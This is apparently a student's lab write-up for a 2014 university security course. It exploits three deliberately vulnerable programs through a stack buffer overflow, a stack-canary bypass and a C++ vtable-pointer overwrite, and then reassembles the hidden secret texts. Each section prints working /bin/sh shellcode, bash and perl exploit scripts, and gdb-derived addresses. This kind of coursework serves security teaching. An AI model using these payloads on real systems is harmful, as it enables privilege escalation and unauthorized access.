Παπαπαναγιωτάκης-Μπουσύ Ιάσων

ΑΜ: 1115201000201

ΥΣ13 ΕΑΡΙΝΟ 2014

Project #1

Extra μέρες: 0

Hacking the Superuser to get access to the supersecret file

Given the C program convert.c (below) find a way to execute Shell Code by overflowing the unprotected buffer.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define MAX_DATE_SIZE 720


int main(int argc, char* argv[]) {
    char date[MAX_DATE_SIZE]="";
    double btc=0;
    double rate=0;
    FILE * pFile;
    char line[18];
    if (argc == 3 && strlen(argv[1]) < MAX_DATE_SIZE) {
        btc=strtod(argv[1], NULL);
        strcpy(date, argv[2]);
    } else {
        fprintf(stderr, "Bitcoin to US Dollar converter.\n");
        fprintf(stderr, "Usage: %s <#bitcoins> <YYYY-MM-DD>\n",
argv[0]);
        fprintf(stderr, "Date range: \"2010-07-17\" to \"2014-01-
21\".\n");
        return -1;
    }

    pFile = fopen ("/home/superuser/bitcoin.txt" , "r");
    if (pFile == NULL) perror ("Error opening file");
    else {
       while ( fgets (line , sizeof(line), pFile) != NULL )
           if (strcmp(strndup(line + 0, 10), date) == 0)
               rate=strtod(strndup(line + 11, sizeof(line)-11), NULL);
    }
    fclose (pFile);

    printf("%.5f BTC were worth %.5f USD on %s\n", btc, (btc * rate),
date);
    return 0;
}
```

Finding the weak spot:

By reading the code we can see that the instruction

"strcpy(date,argv[2]);"

give us the opportunity to overflow the date buffer because there aren't any bound check to see if argv[2] is smaller or equal in length.

First Try:

I filled date with a large random string and the program crashed giving me a SEGMENTATION fault and confirming the vulnerability of the executable.

Then I tried to prepare the proper input to get the program to execute my Shell code:

> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\x
> f3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\
> xff\xff\xff/bin/sh"

and filling the empty space before the Shell code with "\x90", the Hex code of NOP instruction, to a total length of 720 chars.

Then I had to use GDB to find where in the stack is saved the date buffer so I could point back. By printing the address of the arglist I was able to figure it out. Then, all I had to do is to write that address several times (about 4) at the end of my input (after the 720 chars) so it would overwrite the saved eip, the return address. My string now looked something like this:

> "…\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1f\x5e\x89\x76\x08\x31\xc0\
> x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80
> \x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x2a\xfe\xff\xbf
> \x2a\xfe\xff\xbf\x2a\xfe\xff\xbf\x2a\xfe\xff\xbf\x2a\xfe\xff\xbf"

./convert 1 <myString>

That didn't work (and could never work that way). Except for the "\" character everything else was copied to the memory as their corresponding hex representation. For example, 'a' was replaced with 0x61 etc.

I had to find a way to write to the memory exactly the Bytes of code I had in my string. So I tried online hex to char converters to try to reverse the conversion that happened before. That didn’t work either because I couldn't copy-paste those characters that didn't appear correctly.

Second Try:

By using the exploit3.c code provided by Aleph One here with 800 as command line argument I was able to get access to the supersecret.txt quickly.

I couldn't understand completely the code I was using so I had to explore another option.

Final Try:

I wrote a Bash script to generate the right string that would overflow the date buffer and give me access to the supersecret.txt. I used Perl commands to convert my Shell code to characters (each byte a char). And again GDB to find the address of the date buffer and see what was written to the saved eip after the overflow to make sure I was writing an address somewhere in the NOP slide.

```
#!/bin/bash


arg=`perl -e
'printf"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\$
arg2=`perl -e 'printf"\x96\xf6\xff\xbf"'` #the address that will
overwrite the return address.
#echo $arg$arg2
#export HACK=$arg$arg2
../superuser/convert 2 $arg$arg2

#/bin/bash
```

```
The secret:

This is the secret as I found it the second time using my script.

One is is three in any people a of is in called In example read
a is the simply into parts to How is each the itself?
possible the that about is a interesting discussed
 later orutnFolvthlleroj

SERIAL:1399918502-
7a4bd45675a1c600a07237fcb93505e54aef53d42f6336d45642a8cca5731a045b2400
9918b60c25ce95c352a8cbd78556704e677ec47ad16538d5c6fe5768f8
```

Useful links:

http://www.tldp.org/LDP/Bash-Beginners-Guide/html/sect_03_02.html

https://crypto.di.uoa.gr/csec/Asphaleia_Ypologistikon_Systematon/Semeioseis_files/gdb-tut.pdf

http://insecure.org/stf/smashstack.html

http://www.velocityreviews.com/forums/t727636-print-hex-value-of-char.html

http://www.linuxquestions.org/questions/programming-9/%5Bbash%5D-ascii-to-hex-and-hex-to-ascii-488357/

http://msdn.microsoft.com/en-us/library/9hxt0028(v=vs.80).aspx

http://css.csail.mit.edu/6.858/2012/readings/return-to-libc.pdf

http://stackoverflow.com/questions/8534607/how-to-fix-buffer-overflow-return-address-failure

Hacking the Hyperuser to get access to the hypersecret file

Given the C program arpsender.c (below) find a way to execute Shell Code by overflowing the unprotected buffer.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>

#define MAX_ADDR_LEN 128

#define ADDR_LENGTH_OFFSET 4
#define ADDR_OFFSET 8

typedef unsigned char shsize_t;

typedef struct{
  shsize_t len;
  char addr[MAX_ADDR_LEN];
  char* hwtype;
  char* prototype;
  char* oper;
  char* protolen;
} arp_addr;

void print_address(char *packet)
{
  arp_addr hwaddr;
  int i;


  hwaddr.hwtype = malloc(4);


  memset(hwaddr.hwtype, 1, 4);
  memset(hwaddr.addr, 0, MAX_ADDR_LEN);

  hwaddr.len = (shsize_t) *(packet + ADDR_LENGTH_OFFSET);
  memcpy(hwaddr.addr, packet + ADDR_OFFSET, hwaddr.len);
  memcpy(hwaddr.hwtype, packet, 4);

  printf("Sender hardware address: ");
  for (i = 0; i < hwaddr.len - 1; i ++)
    printf("%02hhx::", hwaddr.addr[i]);
  printf("%02hhx\n", hwaddr.addr[hwaddr.len - 1]);


  return;
}

int main(int argc, char *argv[])
{
```

```
    struct stat sbuf;
    char *packet;
    int fd;

    if (argc != 2){
      printf("Usage: %s <packet file>\n", argv[0]);
      return EXIT_FAILURE;
    }

    if ((stat(argv[1], &sbuf)) < 0){
      printf("Error opening packet file\n");
      return EXIT_FAILURE;
    }

    if ((fd = open(argv[1], O_RDONLY)) < 0){
      printf("Error opening packet file\n");
      return EXIT_FAILURE;
    }

    if ((packet = (char *)malloc(sbuf.st_size * sizeof(char))) == NULL){
      printf("Error allocating memory\n");
      return EXIT_FAILURE;
    }

    if (read(fd, packet, sbuf.st_size) < 0){
      printf("Error reading packet from file\n");
      return EXIT_FAILURE;
    }
    close(fd);
    print_address(packet);
    free(packet);
    return EXIT_SUCCESS;
  }
```

After reading about canaries I used gdb to disassemble the print_address function to see where the canary was added to the stack and where it was checked with the original value.

Prologue for the canary:

```
0x0804864e <+18>:    mov    %gs:0x14,%eax
0x08048654 <+24>:    mov    %eax,-0xc(%ebp)
```

Epilogue for the canary:

```
0x08048780 <+324>:   mov    -0xc(%ebp),%eax
0x08048783 <+327>:   xor    %gs:0x14,%eax
0x0804878a <+334>:   je     0x8048791 <print_address+341>
0x0804878c <+336>:   call   0x80484c0 <__stack_chk_fail@plt>
```

Finding the weak spot:

At the line 33 of the program hwaddr.len = "the fifth char of the file" and then hwaddr.len number of Bytes are written to hwaddr.addr (from the 9th char of the file and on) but hwaddr.addr is of fixed size 128 Bytes so if hwaddr.len takes a value greater than 120 memcpy will be writing out of bounds. This is the opportunity for a buffer overflow attack.

Testing the canary:

I tried the script that I used for the superuser overflow and although I could point the return address to my shell code the canary stopped the execution before the function's return.

Then to make sure this canary was not static I had to read it's value on different execution which was different every time so I could not predict it.

Bypassing the canary:

In order to bypass the canary I couldn’t just overwrite everything up to the return address, instead I had to write directly to the saved eip. To do this I had to take advantage of the second memcpy call. By overwriting just some Bytes after the end of the hwaddr.addr array I was able to write on the hwaddr.hwtype and so I could control where the memcpy was going to write the first 4 Bytes of the file. This is all I needed to create my input file which would let me take control of a shell with the permissions of the hyperuser.

hack.txt file structure

[4 Bytes] code address

[1 Byte] 130

[78 Bytes] NOP slide

[45 Bytes] shell code

[X Bytes] some random values

[4 Bytes] saved eip address

I wrote a bash script to create and fill my input file hack.txt and I used gdb to get the address of the saved eip and the start of my NOP slide.

```
#!/bin/bash

codeAddress=`perl -e 'printf"\x38\xa0\x04\x08";'`

overflowChar=`perl -e 'printf"\x82";'` #space for 12 bytes overflow

nopSlide=`perl -e
'printf"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";'`

shellCode=`perl -e
'printf"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0
b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x
e8\xdc\xff\xff\xff/bin/sh";'`

savedEipAddr=`perl -e
'printf"\xaa\xaa\xbb\xbb\xcc\xcc\xdd\x7c\xf6\xff\xbf";'`

echo $codeAddress$overflowChar$nopSlide$shellCode$savedEipAddr >
hack.txt
```

Then

```
../../hyperuser/arpsender hack.txt
```

And I had access to the hypersecret.txt

The secret:

interesting how possible people, general number
to secret text. something cryptography secret this that
right simple presented text divided three and three much
leaked share secret Is to secret no the leaked share? questions
in on! nalisr inengeect

SERIAL:1400082601-
ba729d64386e4bc122f947b07d0607dd3a9c393a7e2a9e232b3416e0bcc52d1088d5ce
aab80af7ece51299420267d7757ca8b6fe9a70733933da4bf3c29c7602

Useful links:

https://www.soldierx.com/tutorials/Stack-Smashing-Modern-Linux-System

http://phrack.org/issues/67/13.html

http://security.stackexchange.com/questions/20497/stack-overflows-defeating-canaries-aslr-dep-nx

Hacking the Masteruser to get access to the mastersecret file

Given the C++ program zoo.cpp (below) find a way to execute Shell Code by overflowing the unprotected buffer.

```
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <getopt.h>

#define MAX_BUFFER_SIZE 256

class Animal{
private:
  char name[MAX_BUFFER_SIZE];
public:
  Animal() { strcpy(name, "Ylvis"); }
  void set_name(char *nname) { strcpy(name, nname); }
  char *get_name() { return name; }
  virtual void speak() = 0;
};

class Cow : public Animal{
public:
  void speak();
};

class Fox  : public Animal{
public:
  void speak();
};

void Cow::speak()
{
  std::cout << get_name() << " says Moo.\n";
  return;
}

void Fox::speak()
{
  std::cout << get_name() << " says Hatee-hatee-hatee-ho.\n";
  return;
}

void usage()
{
  std::cout << "Usage: zoo [options]\n"
     << "Options:\n"
     << "\t-c <name> : Set cow name\n"
```

```
     << "\t-f <name> : Set fox name\n"
     << "\t-s : Instruct animals to speak\n"
     << "\t-h : Print options\n";
  return;
}

int main(int argc, char *argv[])
{
  Animal *a1, *a2;
  bool speak = false;
  char c;

  if (argc < 2){
    usage();
    return 1;
  }

  a1 = new Cow;
  a2 = new Fox;

  while ((c = getopt(argc, argv, "hsc:f:")) != -1){
    switch (c){
    case 'h':
      usage();
      return 0;
    case 's':
      speak = true;
      break;
    case 'c':
      a1 -> set_name(optarg);
      break;
    case 'f':
      a2 -> set_name(optarg);
      break;
    case '?':
      usage();
      return 1;
    }
  }

  if (speak){
    a1 -> speak();
    a2 -> speak();
  }else
    std::cout <<"Another silent night in the zoo\n";

  delete a2;
  delete a1;
  return 0;
}
```

Finding the weak spot:

Once again strcpy() was the weak spot of the program as it's here setting the name of the animals without bound checking. But this time I had to deal with C++ and classes so after reading about VPTR smashing I was ready to overwrite the VPTR which should be just after the 256 Bytes of the name[] array.

But that didn't work so after some further research I found that the VPTR of each class was placed before the name[]. Hopefully in this program there are two objects of the class Animal and there are placed the one next to each other in memory. This give us the opportunity to write past the name of the first animal (the cow) up to the VPTR of the second animal (the fox).

After using the DGB to print the content of the Heap around those two objects with (gdb)x/100wx 0x804a008 , I found where the VPTR of the fox was.

Now I had to find how to take advantage of the overwritten VPTR. As there is only one virtual function "speak()" it's the only function that could trigger the VPTR overflow attack. The way to do that is by passing the -s parameter when running the program to make the animals speak. That way when the fox (2nd animal) was going to speak it should instead trigger my Shell Code.

Input Structure:

Section Name	Content	Size
VTABLE entries	point somewhere in NOP slide	4*20 Bytes
NOP slide	NOPs	1*127 Bytes
Shell Code	Shell code instructions	45 Bytes
VPTR replace	point to VTABLE entries (address of the name[])	4*3 Bytes
Term. Character	\x00 to stop strcpy()	1 Byte

Smashing the VPTR:

To prepare my input string I used a bash script with Perl commands.

```
#!/bin/sh

VTABLEentries=`perl -e 'printf"\x9a\xa0\x04\x08" x 20;'`

NOPslide=`perl -e 'printf"\x90" x 127;'`

ShellCode=`perl -e
'printf"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0
b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x
e8\xdc\xff\xff\xff/bin/sh";'`

VPTRreplace=`perl -e 'printf"\x0c\xa0\x04\x08"x3;'`

TermChar=`perl -e 'printf"\x00";'`

export myHACK=$VTABLEentries$NOPslide$ShellCode$VPTRreplace$TermChar

/bin/bash
```

Then

```
./masterhack.sh

../../masteruser/zoo -s -c $myHACK
```

And I had access to the mastersecret.txt

The secret:

question it for or for of share piece This that is sharing.
little you now solution where is vertically different distributed parties.
information from about passage it divide so information secret by
These will class Cgtao!sog haofpone

SERIAL:1400430601-
0925bce25aaf635acdf0317cb40525b91bf08f5ed20350b96e48ad2818adf85d701db1
8e6453c362aa60aba99d06a65bea225e82fd6da4be3f7b848861d74338

Useful links:

http://lambdahackulus.wordpress.com/2012/09/28/vptr-overwrite/

http://phrack.org/issues/56/8.html

http://imchris.org/projects/overflows/cpp-vptrs.html

Combining the three secrets together:

With the three secrets revealed open it quickly became clear that there is a circular pattern followed. Following the order supersecret -> hypersecret -> mastersecret and reading one word at a time we can read this:

> *One interesting question is how it is possible for three people or in ,general for any number of people*
> *to share a secret piece of text. This is something that in cryptography is called secret sharing. In*
> *this little example that you read right now a simple solution is presented where the text is simply*
> *divided vertically into three different parts and distributed to three parties. How much information*
> *is leaked from each share about the secret passage itself? Is it possible to divide the secret so that*
> *no information about the secret is leaked by a share? These interesting questions will discussed in class*
> *later on!*

Then the pattern changed to one letter per file to:

> *Congratulations!*

And then to two letters per file to:

> *For solving*

And finally I couldn't find the pattern for the last bits but based on the **context** and the **letters** that where available it is quite possible that the rest is:

> *the challenge of the project*

So if we put everything together we have:

> *one interesting question is how it is possible for three people or in ,general for any number of people to share a secret piece of text. This is something that in cryptography is called secret sharing. In this little example that you read right now a simple solution is presented where the text is simply divided vertically into three different parts and distributed to three parties. How much information is leaked from each share about the secret passage itself? Is it possible to divide the secret so that no information about the secret is leaked by a share? These interesting questions will discussed in class later on! Congratulations! For solving the challenge of the project*